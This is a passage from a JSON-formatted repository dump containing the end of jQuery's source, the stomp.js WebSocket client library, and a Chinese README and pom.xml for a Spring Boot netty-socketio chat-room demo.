scrollLeft: \"pageXOffset\", scrollTop: \"pageYOffset\" }, function( method, prop ) {\n        var top = \"pageYOffset\" === prop;\n\n        jQuery.fn[ method ] = function( val ) {\n            return access( this, function( elem, method, val ) {\n                var win = getWindow( elem );\n\n                if ( val === undefined ) {\n                    return win ? win[ prop ] : elem[ method ];\n                }\n\n                if ( win ) {\n                    win.scrollTo(\n                        !top ? val : win.pageXOffset,\n                        top ? val : win.pageYOffset\n                    );\n\n                } else {\n                    elem[ method ] = val;\n                }\n            }, method, val, arguments.length );\n        };\n    } );\n\n// Support: Safari <=7 - 9.1, Chrome <=37 - 49\n// Add the top/left cssHooks using jQuery.fn.position\n// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084\n// Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347\n// getComputedStyle returns percent when specified for top/left/bottom/right;\n// rather than make the css module depend on the offset module, just check for it here\n    jQuery.each( [ \"top\", \"left\" ], function( i, prop ) {\n        jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,\n            function( elem, computed ) {\n                if ( computed ) {\n                    computed = curCSS( elem, prop );\n\n                    // If curCSS returns percentage, fallback to offset\n                    return rnumnonpx.test( computed ) ?\n                        jQuery( elem ).position()[ prop ] + \"px\" :\n                        computed;\n                }\n            }\n        );\n    } );\n\n\n// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods\n    jQuery.each( { Height: \"height\", Width: \"width\" }, function( name, type ) {\n        jQuery.each( { padding: \"inner\" + name, content: type, \"\": \"outer\" + name },\n            function( defaultExtra, funcName ) {\n\n                // Margin is only for outerHeight, outerWidth\n                jQuery.fn[ funcName ] = function( margin, value ) {\n                    var chainable = arguments.length && ( defaultExtra || typeof margin !== \"boolean\" ),\n                        extra = defaultExtra || ( margin === true || value === true ? \"margin\" : \"border\" );\n\n                    return access( this, function( elem, type, value ) {\n                        var doc;\n\n                        if ( jQuery.isWindow( elem ) ) {\n\n                            // $( window ).outerWidth/Height return w/h including scrollbars (gh-1729)\n                            return funcName.indexOf( \"outer\" ) === 0 ?\n                                elem[ \"inner\" + name ] :\n                                elem.document.documentElement[ \"client\" + name ];\n                        }\n\n                        // Get document width or height\n                        if ( elem.nodeType === 9 ) {\n                            doc = elem.documentElement;\n\n                            // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height],\n                            // whichever is greatest\n                            return Math.max(\n                                elem.body[ \"scroll\" + name ], doc[ \"scroll\" + name ],\n                                elem.body[ \"offset\" + name ], doc[ \"offset\" + name ],\n                                doc[ \"client\" + name ]\n                            );\n                        }\n\n                        return value === undefined ?\n\n                            // Get width or height on the element, requesting but not forcing parseFloat\n                            jQuery.css( elem, type, extra ) :\n\n                            // Set width or height on the element\n                            jQuery.style( elem, type, value, extra );\n                    }, type, chainable ? margin : undefined, chainable );\n                };\n            } );\n    } );\n\n\n    jQuery.fn.extend( {\n\n        bind: function( types, data, fn ) {\n            return this.on( types, null, data, fn );\n        },\n        unbind: function( types, fn ) {\n            return this.off( types, null, fn );\n        },\n\n        delegate: function( selector, types, data, fn ) {\n            return this.on( types, selector, data, fn );\n        },\n        undelegate: function( selector, types, fn ) {\n\n            // ( namespace ) or ( selector, types [, fn] )\n            return arguments.length === 1 ?\n                this.off( selector, \"**\" ) :\n                this.off( types, selector || \"**\", fn );\n        }\n    } );\n\n    jQuery.parseJSON = JSON.parse;\n\n\n\n\n// Register as a named AMD module, since jQuery can be concatenated with other\n// files that may use define, but not via a proper concatenation script that\n// understands anonymous AMD modules. A named AMD is safest and most robust\n// way to register. Lowercase jquery is used because AMD module names are\n// derived from file names, and jQuery is normally delivered in a lowercase\n// file name. Do this after creating the global so that if an AMD module wants\n// to call noConflict to hide this version of jQuery, it will work.\n\n// Note that for maximum portability, libraries that are not jQuery should\n// declare themselves as anonymous modules, and avoid setting a global if an\n// AMD loader is present. jQuery is a special case. For more information, see\n// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon\n\n    if ( typeof define === \"function\" && define.amd ) {\n        define( \"jquery\", [], function() {\n            return jQuery;\n        } );\n    }\n\n\n\n\n    var\n\n        // Map over jQuery in case of overwrite\n        _jQuery = window.jQuery,\n\n        // Map over the $ in case of overwrite\n        _$ = window.$;\n\n    jQuery.noConflict = function( deep ) {\n        if ( window.$ === jQuery ) {\n            window.$ = _$;\n        }\n\n        if ( deep && window.jQuery === jQuery ) {\n            window.jQuery = _jQuery;\n        }\n\n        return jQuery;\n    };\n\n// Expose jQuery and $ identifiers, even in AMD\n// (#7102#comment:10, https://github.com/jquery/jquery/pull/557)\n// and CommonJS for browser emulators (#13566)\n    if ( !noGlobal ) {\n        window.jQuery = window.$ = jQuery;\n    }\n\n\n\n\n\n    return jQuery;\n} );"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/test/java/com/xncoding/jwt/socket/client/html/js/stomp.js",
    "content": "// Generated by CoffeeScript 1.7.1\n\n/*\n Stomp Over WebSocket http://www.jmesnil.net/stomp-websocket/doc/ | Apache License V2.0\n\n Copyright (C) 2010-2013 [Jeff Mesnil](http://jmesnil.net/)\n Copyright (C) 2012 [FuseSource, Inc.](http://fusesource.com)\n */\n\n(function() {\n    var Byte, Client, Frame, Stomp,\n        __hasProp = {}.hasOwnProperty,\n        __slice = [].slice;\n\n    Byte = {\n        LF: '\\x0A',\n        NULL: '\\x00'\n    };\n\n    Frame = (function() {\n        var unmarshallSingle;\n\n        function Frame(command, headers, body) {\n            this.command = command;\n            this.headers = headers != null ? headers : {};\n            this.body = body != null ? body : '';\n        }\n\n        Frame.prototype.toString = function() {\n            var lines, name, skipContentLength, value, _ref;\n            lines = [this.command];\n            skipContentLength = this.headers['content-length'] === false ? true : false;\n            if (skipContentLength) {\n                delete this.headers['content-length'];\n            }\n            _ref = this.headers;\n            for (name in _ref) {\n                if (!__hasProp.call(_ref, name)) continue;\n                value = _ref[name];\n                lines.push(\"\" + name + \":\" + value);\n            }\n            if (this.body && !skipContentLength) {\n                lines.push(\"content-length:\" + (Frame.sizeOfUTF8(this.body)));\n            }\n            lines.push(Byte.LF + this.body);\n            return lines.join(Byte.LF);\n        };\n\n        Frame.sizeOfUTF8 = function(s) {\n            if (s) {\n                return encodeURI(s).match(/%..|./g).length;\n            } else {\n                return 0;\n            }\n        };\n\n        unmarshallSingle = function(data) {\n            var body, chr, command, divider, headerLines, headers, i, idx, len, line, start, trim, _i, _j, _len, _ref, _ref1;\n            divider = data.search(RegExp(\"\" + Byte.LF + Byte.LF));\n            headerLines = data.substring(0, divider).split(Byte.LF);\n            command = headerLines.shift();\n            headers = {};\n            trim = function(str) {\n                return str.replace(/^\\s+|\\s+$/g, '');\n            };\n            _ref = headerLines.reverse();\n            for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n                line = _ref[_i];\n                idx = line.indexOf(':');\n                headers[trim(line.substring(0, idx))] = trim(line.substring(idx + 1));\n            }\n            body = '';\n            start = divider + 2;\n            if (headers['content-length']) {\n                len = parseInt(headers['content-length']);\n                body = ('' + data).substring(start, start + len);\n            } else {\n                chr = null;\n                for (i = _j = start, _ref1 = data.length; start <= _ref1 ? _j < _ref1 : _j > _ref1; i = start <= _ref1 ? ++_j : --_j) {\n                    chr = data.charAt(i);\n                    if (chr === Byte.NULL) {\n                        break;\n                    }\n                    body += chr;\n                }\n            }\n            return new Frame(command, headers, body);\n        };\n\n        Frame.unmarshall = function(datas) {\n            var frame, frames, last_frame, r;\n            frames = datas.split(RegExp(\"\" + Byte.NULL + Byte.LF + \"*\"));\n            r = {\n                frames: [],\n                partial: ''\n            };\n            r.frames = (function() {\n                var _i, _len, _ref, _results;\n                _ref = frames.slice(0, -1);\n                _results = [];\n                for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n                    frame = _ref[_i];\n                    _results.push(unmarshallSingle(frame));\n                }\n                return _results;\n            })();\n            last_frame = frames.slice(-1)[0];\n            if (last_frame === Byte.LF || (last_frame.search(RegExp(\"\" + Byte.NULL + Byte.LF + \"*$\"))) !== -1) {\n                r.frames.push(unmarshallSingle(last_frame));\n            } else {\n                r.partial = last_frame;\n            }\n            return r;\n        };\n\n        Frame.marshall = function(command, headers, body) {\n            var frame;\n            frame = new Frame(command, headers, body);\n            return frame.toString() + Byte.NULL;\n        };\n\n        return Frame;\n\n    })();\n\n    Client = (function() {\n        var now;\n\n        function Client(ws) {\n            this.ws = ws;\n            this.ws.binaryType = \"arraybuffer\";\n            this.counter = 0;\n            this.connected = false;\n            this.heartbeat = {\n                outgoing: 10000,\n                incoming: 10000\n            };\n            this.maxWebSocketFrameSize = 16 * 1024;\n            this.subscriptions = {};\n            this.partialData = '';\n        }\n\n        Client.prototype.debug = function(message) {\n            var _ref;\n            return typeof window !== \"undefined\" && window !== null ? (_ref = window.console) != null ? _ref.log(message) : void 0 : void 0;\n        };\n\n        now = function() {\n            if (Date.now) {\n                return Date.now();\n            } else {\n                return new Date().valueOf;\n            }\n        };\n\n        Client.prototype._transmit = function(command, headers, body) {\n            var out;\n            out = Frame.marshall(command, headers, body);\n            if (typeof this.debug === \"function\") {\n                this.debug(\">>> \" + out);\n            }\n            while (true) {\n                if (out.length > this.maxWebSocketFrameSize) {\n                    this.ws.send(out.substring(0, this.maxWebSocketFrameSize));\n                    out = out.substring(this.maxWebSocketFrameSize);\n                    if (typeof this.debug === \"function\") {\n                        this.debug(\"remaining = \" + out.length);\n                    }\n                } else {\n                    return this.ws.send(out);\n                }\n            }\n        };\n\n        Client.prototype._setupHeartbeat = function(headers) {\n            var serverIncoming, serverOutgoing, ttl, v, _ref, _ref1;\n            if ((_ref = headers.version) !== Stomp.VERSIONS.V1_1 && _ref !== Stomp.VERSIONS.V1_2) {\n                return;\n            }\n            _ref1 = (function() {\n                var _i, _len, _ref1, _results;\n                _ref1 = headers['heart-beat'].split(\",\");\n                _results = [];\n                for (_i = 0, _len = _ref1.length; _i < _len; _i++) {\n                    v = _ref1[_i];\n                    _results.push(parseInt(v));\n                }\n                return _results;\n            })(), serverOutgoing = _ref1[0], serverIncoming = _ref1[1];\n            if (!(this.heartbeat.outgoing === 0 || serverIncoming === 0)) {\n                ttl = Math.max(this.heartbeat.outgoing, serverIncoming);\n                if (typeof this.debug === \"function\") {\n                    this.debug(\"send PING every \" + ttl + \"ms\");\n                }\n                this.pinger = Stomp.setInterval(ttl, (function(_this) {\n                    return function() {\n                        _this.ws.send(Byte.LF);\n                        return typeof _this.debug === \"function\" ? _this.debug(\">>> PING\") : void 0;\n                    };\n                })(this));\n            }\n            if (!(this.heartbeat.incoming === 0 || serverOutgoing === 0)) {\n                ttl = Math.max(this.heartbeat.incoming, serverOutgoing);\n                if (typeof this.debug === \"function\") {\n                    this.debug(\"check PONG every \" + ttl + \"ms\");\n                }\n                return this.ponger = Stomp.setInterval(ttl, (function(_this) {\n                    return function() {\n                        var delta;\n                        delta = now() - _this.serverActivity;\n                        if (delta > ttl * 2) {\n                            if (typeof _this.debug === \"function\") {\n                                _this.debug(\"did not receive server activity for the last \" + delta + \"ms\");\n                            }\n                            return _this.ws.close();\n                        }\n                    };\n                })(this));\n            }\n        };\n\n        Client.prototype._parseConnect = function() {\n            var args, connectCallback, errorCallback, headers;\n            args = 1 <= arguments.length ? __slice.call(arguments, 0) : [];\n            headers = {};\n            switch (args.length) {\n                case 2:\n                    headers = args[0], connectCallback = args[1];\n                    break;\n                case 3:\n                    if (args[1] instanceof Function) {\n                        headers = args[0], connectCallback = args[1], errorCallback = args[2];\n                    } else {\n                        headers.login = args[0], headers.passcode = args[1], connectCallback = args[2];\n                    }\n                    break;\n                case 4:\n                    headers.login = args[0], headers.passcode = args[1], connectCallback = args[2], errorCallback = args[3];\n                    break;\n                default:\n                    headers.login = args[0], headers.passcode = args[1], connectCallback = args[2], errorCallback = args[3], headers.host = args[4];\n            }\n            return [headers, connectCallback, errorCallback];\n        };\n\n        Client.prototype.connect = function() {\n            var args, errorCallback, headers, out;\n            args = 1 <= arguments.length ? __slice.call(arguments, 0) : [];\n            out = this._parseConnect.apply(this, args);\n            headers = out[0], this.connectCallback = out[1], errorCallback = out[2];\n            if (typeof this.debug === \"function\") {\n                this.debug(\"Opening Web Socket...\");\n            }\n            this.ws.onmessage = (function(_this) {\n                return function(evt) {\n                    var arr, c, client, data, frame, messageID, onreceive, subscription, unmarshalledData, _i, _len, _ref, _results;\n                    data = typeof ArrayBuffer !== 'undefined' && evt.data instanceof ArrayBuffer ? (arr = new Uint8Array(evt.data), typeof _this.debug === \"function\" ? _this.debug(\"--- got data length: \" + arr.length) : void 0, ((function() {\n                        var _i, _len, _results;\n                        _results = [];\n                        for (_i = 0, _len = arr.length; _i < _len; _i++) {\n                            c = arr[_i];\n                            _results.push(String.fromCharCode(c));\n                        }\n                        return _results;\n                    })()).join('')) : evt.data;\n                    _this.serverActivity = now();\n                    if (data === Byte.LF) {\n                        if (typeof _this.debug === \"function\") {\n                            _this.debug(\"<<< PONG\");\n                        }\n                        return;\n                    }\n                    if (typeof _this.debug === \"function\") {\n                        _this.debug(\"<<< \" + data);\n                    }\n                    unmarshalledData = Frame.unmarshall(_this.partialData + data);\n                    _this.partialData = unmarshalledData.partial;\n                    _ref = unmarshalledData.frames;\n                    _results = [];\n                    for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n                        frame = _ref[_i];\n                        switch (frame.command) {\n                            case \"CONNECTED\":\n                                if (typeof _this.debug === \"function\") {\n                                    _this.debug(\"connected to server \" + frame.headers.server);\n                                }\n                                _this.connected = true;\n                                _this._setupHeartbeat(frame.headers);\n                                _results.push(typeof _this.connectCallback === \"function\" ? _this.connectCallback(frame) : void 0);\n                                break;\n                            case \"MESSAGE\":\n                                subscription = frame.headers.subscription;\n                                onreceive = _this.subscriptions[subscription] || _this.onreceive;\n                                if (onreceive) {\n                                    client = _this;\n                                    messageID = frame.headers[\"message-id\"];\n                                    frame.ack = function(headers) {\n                                        if (headers == null) {\n                                            headers = {};\n                                        }\n                                        return client.ack(messageID, subscription, headers);\n                                    };\n                                    frame.nack = function(headers) {\n                                        if (headers == null) {\n                                            headers = {};\n                                        }\n                                        return client.nack(messageID, subscription, headers);\n                                    };\n                                    _results.push(onreceive(frame));\n                                } else {\n                                    _results.push(typeof _this.debug === \"function\" ? _this.debug(\"Unhandled received MESSAGE: \" + frame) : void 0);\n                                }\n                                break;\n                            case \"RECEIPT\":\n                                _results.push(typeof _this.onreceipt === \"function\" ? _this.onreceipt(frame) : void 0);\n                                break;\n                            case \"ERROR\":\n                                _results.push(typeof errorCallback === \"function\" ? errorCallback(frame) : void 0);\n                                break;\n                            default:\n                                _results.push(typeof _this.debug === \"function\" ? _this.debug(\"Unhandled frame: \" + frame) : void 0);\n                        }\n                    }\n                    return _results;\n                };\n            })(this);\n            this.ws.onclose = (function(_this) {\n                return function() {\n                    var msg;\n                    msg = \"Whoops! Lost connection to \" + _this.ws.url;\n                    if (typeof _this.debug === \"function\") {\n                        _this.debug(msg);\n                    }\n                    _this._cleanUp();\n                    return typeof errorCallback === \"function\" ? errorCallback(msg) : void 0;\n                };\n            })(this);\n            return this.ws.onopen = (function(_this) {\n                return function() {\n                    if (typeof _this.debug === \"function\") {\n                        _this.debug('Web Socket Opened...');\n                    }\n                    headers[\"accept-version\"] = Stomp.VERSIONS.supportedVersions();\n                    headers[\"heart-beat\"] = [_this.heartbeat.outgoing, _this.heartbeat.incoming].join(',');\n                    return _this._transmit(\"CONNECT\", headers);\n                };\n            })(this);\n        };\n\n        Client.prototype.disconnect = function(disconnectCallback, headers) {\n            if (headers == null) {\n                headers = {};\n            }\n            this._transmit(\"DISCONNECT\", headers);\n            this.ws.onclose = null;\n            this.ws.close();\n            this._cleanUp();\n            return typeof disconnectCallback === \"function\" ? disconnectCallback() : void 0;\n        };\n\n        Client.prototype._cleanUp = function() {\n            this.connected = false;\n            if (this.pinger) {\n                Stomp.clearInterval(this.pinger);\n            }\n            if (this.ponger) {\n                return Stomp.clearInterval(this.ponger);\n            }\n        };\n\n        Client.prototype.send = function(destination, headers, body) {\n            if (headers == null) {\n                headers = {};\n            }\n            if (body == null) {\n                body = '';\n            }\n            headers.destination = destination;\n            return this._transmit(\"SEND\", headers, body);\n        };\n\n        Client.prototype.subscribe = function(destination, callback, headers) {\n            var client;\n            if (headers == null) {\n                headers = {};\n            }\n            if (!headers.id) {\n                headers.id = \"sub-\" + this.counter++;\n            }\n            headers.destination = destination;\n            this.subscriptions[headers.id] = callback;\n            this._transmit(\"SUBSCRIBE\", headers);\n            client = this;\n            return {\n                id: headers.id,\n                unsubscribe: function() {\n                    return client.unsubscribe(headers.id);\n                }\n            };\n        };\n\n        Client.prototype.unsubscribe = function(id) {\n            delete this.subscriptions[id];\n            return this._transmit(\"UNSUBSCRIBE\", {\n                id: id\n            });\n        };\n\n        Client.prototype.begin = function(transaction) {\n            var client, txid;\n            txid = transaction || \"tx-\" + this.counter++;\n            this._transmit(\"BEGIN\", {\n                transaction: txid\n            });\n            client = this;\n            return {\n                id: txid,\n                commit: function() {\n                    return client.commit(txid);\n                },\n                abort: function() {\n                    return client.abort(txid);\n                }\n            };\n        };\n\n        Client.prototype.commit = function(transaction) {\n            return this._transmit(\"COMMIT\", {\n                transaction: transaction\n            });\n        };\n\n        Client.prototype.abort = function(transaction) {\n            return this._transmit(\"ABORT\", {\n                transaction: transaction\n            });\n        };\n\n        Client.prototype.ack = function(messageID, subscription, headers) {\n            if (headers == null) {\n                headers = {};\n            }\n            headers[\"message-id\"] = messageID;\n            headers.subscription = subscription;\n            return this._transmit(\"ACK\", headers);\n        };\n\n        Client.prototype.nack = function(messageID, subscription, headers) {\n            if (headers == null) {\n                headers = {};\n            }\n            headers[\"message-id\"] = messageID;\n            headers.subscription = subscription;\n            return this._transmit(\"NACK\", headers);\n        };\n\n        return Client;\n\n    })();\n\n    Stomp = {\n        VERSIONS: {\n            V1_0: '1.0',\n            V1_1: '1.1',\n            V1_2: '1.2',\n            supportedVersions: function() {\n                return '1.1,1.0';\n            }\n        },\n        client: function(url, protocols) {\n            var klass, ws;\n            if (protocols == null) {\n                protocols = ['v10.stomp', 'v11.stomp'];\n            }\n            klass = Stomp.WebSocketClass || WebSocket;\n            ws = new klass(url, protocols);\n            return new Client(ws);\n        },\n        over: function(ws) {\n            return new Client(ws);\n        },\n        Frame: Frame\n    };\n\n    if (typeof exports !== \"undefined\" && exports !== null) {\n        exports.Stomp = Stomp;\n    }\n\n    if (typeof window !== \"undefined\" && window !== null) {\n        Stomp.setInterval = function(interval, f) {\n            return window.setInterval(f, interval);\n        };\n        Stomp.clearInterval = function(id) {\n            return window.clearInterval(id);\n        };\n        window.Stomp = Stomp;\n    } else if (!exports) {\n        self.Stomp = Stomp;\n    }\n\n}).call(this);"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/README.md",
    "content": "# spring-boot-demo-websocket-socketio\n\n> 此 demo 主要演示了 Spring Boot 如何使用 `netty-socketio` 集成 WebSocket，实现一个简单的聊天室。\n\n## 1. 代码\n\n### 1.1. pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-websocket-socketio</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <name>spring-boot-demo-websocket-socketio</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <netty-socketio.version>1.7.16</netty-socketio.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>com.corundumstudio.socketio</groupId>\n            <artifactId>netty-socketio</artifactId>\n            <version>${netty-socketio.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-websocket-socketio</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n### 1.2. ServerConfig.java\n\n> websocket服务器配置，包括服务器IP、端口信息、以及连接认证等配置\n\n```java\n/**\n * <p>\n * websocket服务器配置\n * </p>\n *\n * @package: com.jun.plugin.websocket.socketio.config\n * @description: websocket服务器配置\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 16:42\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@EnableConfigurationProperties({WsConfig.class})\npublic class ServerConfig {\n\n    @Bean\n    public SocketIOServer server(WsConfig wsConfig) {\n        com.corundumstudio.socketio.Configuration config = new com.corundumstudio.socketio.Configuration();\n        config.setHostname(wsConfig.getHost());\n        config.setPort(wsConfig.getPort());\n\n        //这个listener可以用来进行身份验证\n        config.setAuthorizationListener(data -> {\n            // http://localhost:8081?token=xxxxxxx\n            // 例如果使用上面的链接进行connect，可以使用如下代码获取用户密码信息，本文不做身份验证\n            String token = data.getSingleUrlParam(\"token\");\n            // 校验token的合法性，实际业务需要校验token是否过期等等，参考 spring-boot-demo-rbac-security 里的 JwtUtil\n            // 如果认证不通过会返回一个 Socket.EVENT_CONNECT_ERROR 事件\n            return StrUtil.isNotBlank(token);\n        });\n\n        return new SocketIOServer(config);\n    }\n\n    /**\n     * Spring 扫描自定义注解\n     */\n    @Bean\n    public SpringAnnotationScanner springAnnotationScanner(SocketIOServer server) {\n        return new SpringAnnotationScanner(server);\n    }\n}\n```\n\n### 1.3. MessageEventHandler.java\n\n> 核心事件处理类，主要处理客户端发起的消息事件，以及主动往客户端发起事件\n\n```java\n/**\n * <p>\n * 消息事件处理\n * </p>\n *\n * @package: com.jun.plugin.websocket.socketio.handler\n * @description: 消息事件处理\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 18:57\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\n@Slf4j\npublic class MessageEventHandler {\n    @Autowired\n    private SocketIOServer server;\n\n    @Autowired\n    private DbTemplate dbTemplate;\n\n    /**\n     * 添加connect事件，当客户端发起连接时调用\n     *\n     * @param client 客户端对象\n     */\n    @OnConnect\n    public void onConnect(SocketIOClient client) {\n        if (client != null) {\n            String token = client.getHandshakeData().getSingleUrlParam(\"token\");\n            // 模拟用户id 和token一致\n            String userId = client.getHandshakeData().getSingleUrlParam(\"token\");\n            UUID sessionId = client.getSessionId();\n\n            dbTemplate.save(userId, sessionId);\n            log.info(\"连接成功,【token】= {},【sessionId】= {}\", token, sessionId);\n        } else {\n            log.error(\"客户端为空\");\n        }\n    }\n\n    /**\n     * 添加disconnect事件，客户端断开连接时调用，刷新客户端信息\n     *\n     * @param client 客户端对象\n     */\n    @OnDisconnect\n    public void onDisconnect(SocketIOClient client) {\n        if (client != null) {\n            String token = client.getHandshakeData().getSingleUrlParam(\"token\");\n            // 模拟用户id 和token一致\n            String userId = client.getHandshakeData().getSingleUrlParam(\"token\");\n            UUID sessionId = client.getSessionId();\n\n            dbTemplate.deleteByUserId(userId);\n            log.info(\"客户端断开连接,【token】= {},【sessionId】= {}\", token, sessionId);\n            client.disconnect();\n        } else {\n            log.error(\"客户端为空\");\n        }\n    }\n\n    /**\n     * 加入群聊\n     *\n     * @param client  客户端\n     * @param request 请求\n     * @param data    群聊\n     */\n    @OnEvent(value = Event.JOIN)\n    public void onJoinEvent(SocketIOClient client, AckRequest request, JoinRequest data) {\n        log.info(\"用户：{} 已加入群聊：{}\", data.getUserId(), data.getGroupId());\n        client.joinRoom(data.getGroupId());\n\n        server.getRoomOperations(data.getGroupId()).sendEvent(Event.JOIN, data);\n    }\n\n\n    @OnEvent(value = Event.CHAT)\n    public void onChatEvent(SocketIOClient client, AckRequest request, SingleMessageRequest data) {\n        Optional<UUID> toUser = dbTemplate.findByUserId(data.getToUid());\n        if (toUser.isPresent()) {\n            log.info(\"用户 {} 刚刚私信了用户 {}：{}\", data.getFromUid(), data.getToUid(), data.getMessage());\n            sendToSingle(toUser.get(), data);\n            client.sendEvent(Event.CHAT_RECEIVED, \"发送成功\");\n        } else {\n            client.sendEvent(Event.CHAT_REFUSED, \"发送失败，对方不想理你\");\n        }\n    }\n\n    @OnEvent(value = Event.GROUP)\n    public void onGroupEvent(SocketIOClient client, AckRequest request, GroupMessageRequest data) {\n        Collection<SocketIOClient> clients = server.getRoomOperations(data.getGroupId()).getClients();\n\n        boolean inGroup = false;\n        for (SocketIOClient socketIOClient : clients) {\n            if (ObjectUtil.equal(socketIOClient.getSessionId(), client.getSessionId())) {\n                inGroup = true;\n                break;\n            }\n        }\n        if (inGroup) {\n            log.info(\"群号 {} 收到来自 {} 的群聊消息：{}\", data.getGroupId(), data.getFromUid(), data.getMessage());\n            sendToGroup(data);\n        } else {\n            request.sendAckData(\"请先加群！\");\n        }\n    }\n\n    /**\n     * 单聊\n     */\n    public void sendToSingle(UUID sessionId, SingleMessageRequest message) {\n        server.getClient(sessionId).sendEvent(Event.CHAT, message);\n    }\n\n    /**\n     * 广播\n     */\n    public void sendToBroadcast(BroadcastMessageRequest message) {\n        log.info(\"系统紧急广播一条通知：{}\", message.getMessage());\n        for (UUID clientId : dbTemplate.findAll()) {\n            if (server.getClient(clientId) == null) {\n                continue;\n            }\n            server.getClient(clientId).sendEvent(Event.BROADCAST, message);\n        }\n    }\n\n    /**\n     * 群聊\n     */\n    public void sendToGroup(GroupMessageRequest message) {\n        server.getRoomOperations(message.getGroupId()).sendEvent(Event.GROUP, message);\n    }\n}\n```\n\n### 1.4. ServerRunner.java\n\n>  websocket 服务器启动类\n\n```java\n/**\n * <p>\n * websocket服务器启动\n * </p>\n *\n * @package: com.jun.plugin.websocket.socketio.init\n * @description: websocket服务器启动\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 17:07\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\n@Slf4j\npublic class ServerRunner implements CommandLineRunner {\n    @Autowired\n    private SocketIOServer server;\n\n    @Override\n    public void run(String... args) {\n        server.start();\n        log.info(\"websocket 服务器启动成功。。。\");\n    }\n}\n```\n\n## 2. 运行方式\n\n1. 启动 `SpringBootDemoWebsocketSocketioApplication.java`\n2. 使用不同的浏览器，访问 http://localhost:8080/demo/index.html\n\n## 3. 运行效果\n\n**浏览器1：**![image-20181219152318079](assets/image-20181219152318079-5204198.png)\n\n**浏览器2：**![image-20181219152330156](assets/image-20181219152330156-5204210.png)\n\n## 4. 参考\n\n### 4.1. 后端\n\n1. Netty-socketio 官方仓库：https://github.com/mrniko/netty-socketio\n2. SpringBoot系列 - 集成SocketIO实时通信：https://www.xncoding.com/2017/07/16/spring/sb-socketio.html\n3. Spring Boot 集成 socket.io 后端实现消息实时通信：http://alexpdh.com/2017/09/03/springboot-socketio/\n4. Spring Boot实战之netty-socketio实现简单聊天室：http://blog.csdn.net/sun_t89/article/details/52060946\n\n### 4.2. 前端\n\n1. socket.io 官网：https://socket.io/\n2. axios.js 用法：https://github.com/axios/axios#example"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_websocket_socketio</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n    <name>springboot_websocket_socketio</name>\n    <description>Demo project for Spring Boot</description>\n\n   <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <netty-socketio.version>1.7.16</netty-socketio.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>com.corundumstudio.socketio</groupId>\n            <artifactId>netty-socketio</artifactId>\n            <version>${netty-socketio.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            